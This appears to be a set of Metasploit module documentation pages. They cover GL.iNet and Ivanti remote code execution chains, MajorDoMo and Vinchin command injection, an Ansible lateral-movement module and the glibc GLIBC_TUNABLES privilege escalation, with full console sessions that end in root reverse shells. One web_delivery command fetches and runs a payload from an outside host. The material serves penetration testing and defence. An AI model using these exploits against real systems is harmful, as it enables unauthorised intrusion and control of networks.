A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker
to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log`
interface in the `logread` module.
This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen
by the attacker.
However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication
through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be
retrieved without knowing a valid username and password.
The following GL.iNet network products are vulnerable:
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;
- MT6000: v4.5.0 - v4.5.3;
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;
- E750/E750V2, MV1000: v4.3.8;
- X3000: v4.0.0 - v4.4.2;
- XE3000: v4.0.0 - v4.4.3;
- SFT1200: v4.3.6;
- and potentially others (just try ;-)
NOTE: Staged Meterpreter payloads might core dump on the target, so use stage-less Meterpreter payloads
when using the Linux Dropper target.
References:
https://nvd.nist.gov/vuln/detail/CVE-2023-50445
https://nvd.nist.gov/vuln/detail/CVE-2023-50919
https://attackerkb.com/topics/3LmJ0d7rzC/cve-2023-50445
https://attackerkb.com/topics/LdqSuqHKOj/cve-2023-50919
https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html
https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md
View the full module info with the info -d command.
```
## Options
### SID
This is the SessionID (`SID`) which you need for authentication.
The module will exploit and grab the `SID` autmatically, but you can also provide it manually by using this option.
## Scenarios
### FirmAE GL.iNet AR300M16 Router Emulation Unix Command - cmd/unix/reverse_netcat
```shell
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 0
target => 0
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit
[*] Started reverse TCP handler on 192.168.8.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.8.1:80 can be exploited.
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
[*] SID: NsPHdkXtENoaotxVZWLqJorU52O7J0OI
[*] Executing Unix Command for cmd/unix/reverse_netcat
[*] Command shell session 8 opened (192.168.8.2:4444 -> 192.168.8.1:53167) at 2024-01-03 11:12:18 +0000
pwd
/
id
uid=0(root) gid=0(root) groups=0(root),65533(nonevpn)
uname -a
Linux GL- 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux
exit
```
### FirmAE GL.iNet AR300M16 Router Emulation Linux Dropper - linux/mipsbe/meterpreter_reverse_tcp
```shell
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 1
target => 1
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit
[*] Started reverse TCP handler on 192.168.8.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.8.1:80 can be exploited.
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
[*] SID: Gs2KPnIsIQQUzHQkEBVN8JOcq5nV008e
[*] Executing Linux Dropper for linux/mipsbe/meterpreter_reverse_tcp
[*] Using URL: http://192.168.8.2:1981/OrfVHM15cua0w
[*] Client 192.168.8.1 (curl/7.88.1) requested /OrfVHM15cua0w
[*] Sending payload to 192.168.8.1 (curl/7.88.1)
[*] Meterpreter session 9 opened (192.168.8.2:4444 -> 192.168.8.1:48511) at 2024-01-03 08:30:52 +0000
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Server stopped.
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.8.1
OS : (Linux 4.1.17+)
Architecture : mips
BuildTuple : mips-linux-muslsf
Meterpreter : mipsbe/linux
meterpreter >
```
## Limitations
Staged Meterpreter payloads might core dump on the target, so use stage-less Meterpreter payloads when using the Linux Dropper target.
@@ -0,0 +1,174 @@
## Vulnerable Application
This module chains an authentication bypass vulnerability (CVE-2023-46805) and a command injection
vulnerability (CVE-2024-21887) to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti
Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and
22.x prior to the vendor mitigation are vulnerable. It is unknown if unsupported versions 8.x and below are
also vulnerable.
## Testing
To test we used Ivanti Connect Secure version 22.3R1 (build 1647), deployed as a virtual appliance for HyperV. The
below steps are for HyperV, but it should be very similar to install on VMWare.
* Signup for a trial to download the file `ps-ics-hyper-v-isa-v-22.3r1.0-b1647-package.zip`
* From this ZIP file, extract the file `ISA-V-HYPERV-ICS-22.3R1-1647.1-VT-hyperv.vhdx`
* Create a new VM in HyperV and specify the VHDX file as the hard drives media.
* Boot the VM and follow the console instructions to install the product.
* After installation completes, you will have created an admin account and password. You can log into the admin
web interface by visiting https://<TARGET_IP_ADDRESS>/admin in your web browser if you want.
## Verification Steps
1. Start msfconsole
2. `use exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set target 0`
5. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp`
6. `check`
7. `exploit`
## Scenarios
To support a broad set of available payloads, we support both a Linux target and a Unix Target. This allows for native
Linux payloads to be used, but also payloads like Python meterpreter or a Bash shell.
### Linux Target
```
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set RHOST 192.168.86.111
RHOST => 192.168.86.111
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set target 0
target => 0
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > show options
Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.111 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME DbFmtsbLwkUU no Name to use on remote system when storing payload; cannot contain spaces.
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces.
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > check
[+] 192.168.86.111:443 - The target is vulnerable. IVE-OS 22.3R1 (1647)
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. IVE-OS 22.3R1 (1647)
[*] Sending stage (3045380 bytes) to 192.168.86.111
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.111:27576) at 2024-01-17 10:16:52 +0000
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.86.111
OS : (Linux 4.15.18.34-production)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > cat /home/ssl-vpn-VERSION
export DSREL_MAJOR=22
export DSREL_MINOR=3
export DSREL_MAINT=1
export DSREL_DATAVER=4802
export DSREL_PRODUCT=ssl-vpn
export DSREL_DEPS=ive
export DSREL_BUILDNUM=1647
export DSREL_COMMENT="R1"
meterpreter >
```
### Unix Target
```
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set target 1
target => 1
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set PAYLOAD cmd/unix/reverse_bash
PAYLOAD => cmd/unix/reverse_bash
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > show options
Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.111 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Unix Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > check
[+] 192.168.86.111:443 - The target is vulnerable. IVE-OS 22.3R1 (1647)
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. IVE-OS 22.3R1 (1647)
[*] Command shell session 2 opened (192.168.86.42:4444 -> 192.168.86.111:27582) at 2024-01-17 10:19:19 +0000
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux localhost2 4.15.18.34-production #1 SMP Fri Jun 17 13:08:47 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
pwd
/data/var/cores
cat /home/ssl-vpn-VERSION
export DSREL_MAJOR=22
export DSREL_MINOR=3
export DSREL_MAINT=1
export DSREL_DATAVER=4802
export DSREL_PRODUCT=ssl-vpn
export DSREL_DEPS=ive
export DSREL_BUILDNUM=1647
export DSREL_COMMENT="R1"
exit
[*] 192.168.86.111 - Command shell session 2 closed.
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) >
```
@@ -0,0 +1,129 @@
## Vulnerable Application
This module exploits a command injection vulnerability in MajorDoMo versions before 0662e5e. To set up a test environment:
1. Download MajorDoMo by executing the following command:
```
curl -s https://raw.githubusercontent.com/sergejey/majordomo-rpi-install/main/install.sh | bash && bash ~/majordomo-rpi-install/install.sh
```
2. Follow the installation script instructions to install MajorDoMo on a Raspberry Pi or a Linux-based server.
3. Ensure that the network interface is active and properly configured during installation.
4. Replace `/var/www/html/modules/thumb/thumb.php` with
https://raw.githubusercontent.com/sergejey/majordomo/1167ca408a911c98937000516588c12cc33a1ab7/modules/thumb/thumb.php.
5. After installation, verify that the MajorDoMo service is operational and accessible over the network.
## Verification Steps
1. Install MajorDoMo with a version prior to 0662e5e.
2. Start msfconsole in your Metasploit environment.
3. Do: `use exploit/linux/http/majordomo_cmd_inject_cve_2023_50917`
4. Set the RHOSTS to the target IP address or hostname.
5. Do: `run`
6. If the target is vulnerable, the exploit will execute the specified payload.
## Options
No options
## Scenarios
### Successful Exploitation against MajorDoMo
This scenario demonstrates exploiting MajorDoMo on a Linux server.
**Environment**:
- MajorDoMo before 0662e5e
- Linux Server or Raspberry Pi
- Metasploit Framework
**Expected Output**:
```
msf6 > search cve_2023_50917
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/majordomo_cmd_inject_cve_2023_50917 2023-12-15 excellent Yes MajorDoMo Command Injection
Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/majordomo_cmd_inject_cve_2023_50917
msf6 > use 0
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > options
Module options (exploit/linux/http/majordomo_cmd_inject_cve_2023_50917):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format typ
e:host:port[,type:host:port
][...]
RHOSTS yes The target host(s), see htt
ps://docs.metasploit.com/do
cs/using-metasploit/basics/
using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgo
ing connections
TARGETURI / yes The URI path to MajorDoMo
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch paylo
ad (Accepted: CURL, FT
P, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the
binary after execution
FETCH_FILENAME GRigjGGzCVI no Name to use on remote
system when storing pa
yload; cannot contain
spaces.
FETCH_SRVHOST no Local IP to use for se
rving payload
FETCH_SRVPORT 8080 yes Local port to use for
serving payload
FETCH_URIPATH no Local URI to use for s
erving payload
FETCH_WRITABLE yes Remote writable dir to
_DIR store payload; cannot
contain spaces.
LHOST 192.168.1.5 yes The listen address (an
interface may be spec
ified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > set rhosts 192.168.1.18
rhosts => 192.168.1.18
msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > exploit
[*] Started reverse TCP handler on 192.168.1.5:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.1.18:80 can be exploited!
[+] Target is identified as MajorDoMo instance
[*] Performing command injection test issuing a sleep command of 9 seconds.
[*] Elapsed time: 9.112166871999989 seconds.
[+] The target is vulnerable. Successfully tested command injection.
[*] Sending stage (3045380 bytes) to 192.168.1.18
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.18:60054) at 2023-12-21 23:56:54 +0100
meterpreter > getuid
Server username: www-data
```
@@ -0,0 +1,170 @@
## Vulnerable Application
This module exploits a vulnerability in Vinchin Backup & Recovery versions 5.0.x, 6.0.x, 6.7.x, and 7.0.x. To prepare the environment:
1. Download Vinchin Backup & Recovery version 5.0.x, 6.0.x, 6.7.x, or 7.0.x.
2. Install the software on a Linux-based server using the downloaded ISO.
3. During the installation, ensure that the network interface is active and configured.
4. After installation, verify that the Vinchin Backup & Recovery service is operational and accessible over the network.
*Note: The module is designed to work with the specified versions. Functionality with other versions has not been confirmed.*
## Verification Steps
1. Install a vulnerable version of Vinchin Backup & Recovery (versions 5.0.x, 6.0.x, 6.7.x, or 7.0.x).
2. Start msfconsole in your Metasploit environment.
3. Do: `use exploit/linux/http/vinchin_backup_recovery_cmd_inject`
4. Set the RHOSTS to the target IP address or hostname.
5. Do: `run`
6. If the target is vulnerable, the exploit will execute the specified payload or command.
## Options
Here are the specific options for the `exploit/linux/http/vinchin_backup_recovery_cmd_inject` module:
#### RHOSTS
- **Description**: Specifies the target address or range of addresses.
- **Default Value**: None. It must be set by the user.
#### RPORT
- **Description**: The port on which the Vinchin Backup & Recovery service is running.
- **Default Value**: 443 (this is not configurable in the default Vinchin Backup & Recovery setup).
#### SSL
- **Description**: Specifies whether to use SSL for the connection.
- **Default Value**: True, as Vinchin typically runs over HTTPS.
#### TARGETURI
- **Description**: The base path to the Vinchin Backup & Recovery application.
- **Default Value**: `/`
#### APIKEY
- **Description**: The hardcoded API key required to authenticate to the API.
- **Default Value**: `6e24cc40bfdb6963c04a4f1983c8af71`
## Scenarios
### Successful Exploitation against Vinchin Backup & Recovery 7.0.1.26282
This scenario demonstrates exploiting the Vinchin Backup & Recovery version 7.0.1.26282 on a Linux server.
**Environment**:
- Vinchin Backup & Recovery 7.0.1.26282
- Linux Server
- Metasploit Framework
**Steps**:
1. Start `msfconsole`.
2. Load the exploit module:
```
use exploit/linux/http/vinchin_backup_recovery_cmd_inject
```
4. Set the required options:
```
set RHOSTS [target IP]
set APIKEY [API Key]
```
5. Optionally set a payload and configure LHOST and LPORT.
6. Execute the exploit:
```
exploit
```
**Expected Output**:
```
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > options
Module options (exploit/linux/http/vinchin_backup_recovery_cmd_inject):
Name Current Setting Required Description
---- --------------- -------- -----------
APIKEY 6e24cc40bfdb6963c04a4f1983c8 yes The hardcoded API key
af71
Proxies no A proxy chain of format type:host:port[,type:host:
port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.co
m/docs/using-metasploit/basics/using-metasploit.ht
ml
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is rando
mly generated)
TARGETURI / yes The base path to the Vinchin Backup & Recovery app
lication
URIPATH no The URI to use for this exploit (default is random
)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an
address on the local machine or 0.0.0.0 to listen on all address
es.
SRVPORT 8080 yes The local port to listen on.
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FT
P, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME JSSwiKfcOw no Name to use on remote system when storing pa
yload; cannot contain spaces.
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR /usr/share/nginx/vinchin/ yes Remote writable dir to store payload; cannot
tmp contain spaces.
LHOST 192.168.1.5 yes The listen address (an interface may be spec
ified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > set rhosts 192.168.1.3
rhosts => 192.168.1.3
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > check
[*] Detected Vinchin version: 7.0.1.26282
[+] 192.168.1.3:443 - The target is vulnerable.
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > exploit
[*] Started reverse TCP handler on 192.168.1.5:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected Vinchin version: 7.0.1.26282
[+] The target is vulnerable.
[*] Sending stage (3045380 bytes) to 192.168.1.3
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.3:58960) at 2023-11-21 02:00:57 +0100
meterpreter > sysinfo
Computer : localhost.localdomain
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
Note: All instances of this exploit can be subject to privilege escalation using the
`exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` module in the Metasploit environment.
@@ -0,0 +1,189 @@
## Vulnerable Application
This exploit module creates an ansible module for deployment to nodes in the network.
It creates a new yaml playbook which copies our payload, chmods it, then runs it on all
targets which have been selected (default all).
### Docker-compose Install
Use the ansible lab files located [here](https://github.com/abdennour/ansible-lab-environment-in-containers).
Before bringing up the `docker-compose` instance, you'll want to generate an SSH key: `ssh-keygen -t rsa -N "" -f secrets/id_rsa`
Of note, only 1 of the 3 alpine hosts will be successful due to the port conflict. This is fine though.
## Verification Steps
1. Install the application
1. Start msfconsole
1. Get an initial shell on the box
1. Do: `use exploit/linux/local/ansible_node_deployer`
1. Do: `set session [#]`
1. Do: `run`
1. You should get sessions on all the targeted hosts
## Options
### ANSIBLEPLAYBOOK
Location of ansible executable if not in a standard location. This is added to a list of default locations
which includes `/usr/local/bin/ansible`. Defaults to ``
### WritableDir
A directory on the compromised host we can write our payload to. Defaults to `/tmp`
### TargetWritableDir
A directory on the target hosts we can write our payload to. Defaults to `/tmp`
### CALCULATE
This will calculate how many hosts may be exploitable by using Ansible's ping command.
### HOSTS
Which Ansible host (groups) to target. Defaults to `all`
### ListenerTimeout
How many seconds to wait after executing the payload for hosts to call back.
If set to `0`, wait forever. Defaults to `60`
## Scenarios
### Docker compose as mentioned above
Get initial access to the system
```
resource (ansible_deploy.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (ansible_deploy.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (ansible_deploy.rb)> set srvport 8181
srvport => 8181
resource (ansible_deploy.rb)> set target 7
target => 7
resource (ansible_deploy.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (ansible_deploy.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using URL: http://1.1.1.1:8181/2BQIMgeywC6gGt9
[*] Server started.
[*] Run the following command on the target machine:
wget -qO OHZQobFE --no-check-certificate http://1.1.1.1:8181/2BQIMgeywC6gGt9; chmod +x OHZQobFE; ./OHZQobFE& disown
[*] 172.22.0.7 web_delivery - Delivering Payload (250 bytes)
[*] Sending stage (3045380 bytes) to 172.22.0.7
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.22.0.7:49612) at 2023-12-15 20:12:27 -0500
```
```
resource (ansible_deploy.rb)> use exploit/linux/local/ansible_node_deployer
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
resource (ansible_deploy.rb)> set session 1
session => 1
resource (ansible_deploy.rb)> set verbose true
verbose => true
resource (ansible_deploy.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (ansible_deploy.rb)> set lport 9999
lport => 9999
[*] Starting persistent handler(s)...
[msf](Jobs:1 Agents:0) exploit(linux/local/ansible_node_deployer) >
[msf](Jobs:1 Agents:1) exploit(linux/local/ansible_node_deployer) > set TargetWritableDir /etc/
TargetWritableDir => /etc/
[msf](Jobs:1 Agents:1) exploit(linux/local/ansible_node_deployer) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/local/ansible_node_deployer) >
[*] Started reverse TCP handler on 1.1.1.1:9999
[*] Running automatic check ("set AutoCheck false" to disable)
[+] /tmp is writable, and ansible executable found
[+] The target is vulnerable.
[+] Stored pings to: /root/.msf4/loot/20231215201340_default_172.22.0.7_ansible.ping_422232.txt
[+] Ansible Pings
=============
Host Status Ping Changed
---- ------ ---- -------
alpine-example-com SUCCESS pong false
alpinesystemd-example-com SUCCESS pong false
centos7-example-com SUCCESS pong false
rhel8-example-com SUCCESS pong false
[+] 4 ansible hosts were pingable, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal.
[*] Creating yaml job to execute
[*] Writing payload
[*] Writing '/tmp/O514h2N' (250 bytes) ...
[*] Executing ansible job
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.22.0.6
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.22.0.4
[+] Stored run logs to: /root/.msf4/loot/20231215201411_default_172.22.0.7_ansible.playbook_967421.txt
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.22.0.5
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.22.0.2
[*] Meterpreter session 2 opened (1.1.1.1:9999 -> 172.22.0.6:60850) at 2023-12-15 20:14:36 -0500
[*] Meterpreter session 5 opened (1.1.1.1:9999 -> 172.22.0.2:34980) at 2023-12-15 20:14:36 -0500
[*] Meterpreter session 3 opened (1.1.1.1:9999 -> 172.22.0.4:51082) at 2023-12-15 20:14:46 -0500
[*] Meterpreter session 4 opened (1.1.1.1:9999 -> 172.22.0.5:41770) at 2023-12-15 20:14:56 -0500
[msf](Jobs:2 Agents:5) exploit(linux/local/ansible_node_deployer) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux root @ 172.22.0.7 1.1.1.1:4444 -> 172.22.0.7:49612 (172.22.0.7)
2 meterpreter x64/linux root @ 172.22.0.6 1.1.1.1:9999 -> 172.22.0.6:60850 (172.22.0.6)
3 meterpreter x64/linux root @ 172.22.0.4 1.1.1.1:9999 -> 172.22.0.4:51082 (172.22.0.4)
4 meterpreter x64/linux root @ 172.22.0.5 1.1.1.1:9999 -> 172.22.0.5:41770 (172.22.0.5)
5 meterpreter x64/linux root @ 172.22.0.2 1.1.1.1:9999 -> 172.22.0.2:34980 (172.22.0.7)
```
```
└─$ cat ~/.msf4/loot/20231215201411_default_172.22.0.7_ansible.playbook_967421.txt
PLAY [Deliver Meterpreter] *****************************************************
TASK [Gathering Facts] *********************************************************
[DEPRECATION WARNING]: Distribution redhat 8.2 on host rhel8-example-com should
use /usr/libexec/platform-python, but is using /usr/bin/python for backward
compatibility with prior Ansible releases. A future Ansible release will
default to using the discovered platform python for this host. See https://docs
.ansible.com/ansible/2.9/reference_appendices/interpreter_discovery.html for
more information. This feature will be removed in version 2.12. Deprecation
warnings can be disabled by setting deprecation_warnings=False in ansible.cfg.
ok: [rhel8-example-com]
ok: [centos7-example-com]
[WARNING]: Platform linux on host alpine-example-com is using the discovered
Python interpreter at /usr/bin/python, but future installation of another
Python interpreter could change this. See https://docs.ansible.com/ansible/2.9/
reference_appendices/interpreter_discovery.html for more information.
ok: [alpine-example-com]
[WARNING]: Platform linux on host alpinesystemd-example-com is using the
discovered Python interpreter at /usr/bin/python, but future installation of
another Python interpreter could change this. See https://docs.ansible.com/ansi
ble/2.9/reference_appendices/interpreter_discovery.html for more information.
ok: [alpinesystemd-example-com]
TASK [ansible.builtin.copy] ****************************************************
changed: [alpine-example-com]
changed: [centos7-example-com]
changed: [rhel8-example-com]
changed: [alpinesystemd-example-com]
TASK [ansible.builtin.file] ****************************************************
changed: [alpine-example-com]
changed: [rhel8-example-com]
changed: [centos7-example-com]
changed: [alpinesystemd-example-com]
TASK [command] *****************************************************************
```
@@ -0,0 +1,169 @@
## Vulnerable Application
A buffer overflow was exists in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES environment
variable. This issue allows an local attacker to use maliciously crafted GLIBC_TUNABLES environment variables when
launching binaries with SUID permission to execute code in the context of the root user.
This module targets glibc packaged on Ubuntu and Debian. The specific versions this module targets are:
Ubuntu:
2.35-0ubuntu3.4 > 2.35
2.37-0ubuntu2.1 > 2.37
2.38-1ubuntu6 > 2.38
Debian:
2.31-13-deb11u7 > 2.31
2.36-9-deb12u3 > 2.36
Fedora 37 and 38 and other distributions of linux also come packaged with versions of glibc vulnerable to CVE-2023-4911
however this module does not target them.
### Description
The GLIBC_TUNABLES environment variable is parsed in a loop and is expected to be provided in the following format:
`tunable1=aaa:tunable2=bbb`. If the variable is sent in the following format: `tunable1=tunable2=AAA` due to the
absence of the tunable delimiter `:` in the string, the value `tunable2=AAA` is handled incorrectly and results in a
buffer overflow.
### Setup
Install [Ubuntu 22.04.3](https://releases.ubuntu.com/jammy/ubuntu-22.04.3-desktop-amd64.iso) while ensuring the VM does
not have internet access.
Once booted up, edit `/etc/apt/apt.conf.d/20auto-upgrades` and change `APT::Periodic::Unattended-Upgrade` from `1` to
`0` to ensure to ensure the machine doesn't patch itself.
Ensure that glibc is at version 2.35-0ubuntu3.1 by running the following:
```
msfuser@msfuser-virtual-machine:~$ ldd --version
ldd (Ubuntu GLIBC 2.35-0ubuntu3.1) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
```
The target should be exploitable.
## Verification Steps
1. Start `msfconsole`
2. Get a session
3. Do: `use exploit/linux/local/glibc_tunables_priv_esc`
4. Do: `set SESSION [SESSION]`
5. Do: `check`
6. Do: `run`
7. You should get a new *root* session
## Scenarios
### Ubuntu 22.04.3 with 2.35-0ubuntu3.1 installed (ARCH_X64)
```
msf6 exploit(linux/local/glibc_tunables_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_tunables_priv_esc) > set session -1
session => -1
msf6 exploit(linux/local/glibc_tunables_priv_esc) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(linux/local/glibc_tunables_priv_esc) > set lport 5555
lport => 5555
msf6 exploit(linux/local/glibc_tunables_priv_esc) > options
Module options (exploit/linux/local/glibc_tunables_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
SESSION -1 yes The session to run this module on
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.123.1 yes The listen address (an interface may be specified)
LPORT 5555 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
msf6 exploit(linux/local/glibc_tunables_priv_esc) > run
View the full module info with the info, or info -d command.
[*] Started reverse TCP handler on 192.168.123.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The glibc version (2.35-0ubuntu3.1) found on the target appears to be vulnerable
[+] The Build ID for ld.so: 61ef896a699bb1c2e4e231642b2e1688b2f1a61e is in the list of supported Build IDs for the exploit.
[+] The exploit is running. Please be patient. Receiving a session could take up to 10 minutes.
[*] Sending stage (3045380 bytes) to 192.168.123.228
[*] Meterpreter session 5 opened (192.168.123.1:5555 -> 192.168.123.228:33016) at 2023-12-19 10:53:09 -0500
meterpreter >getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.123.228
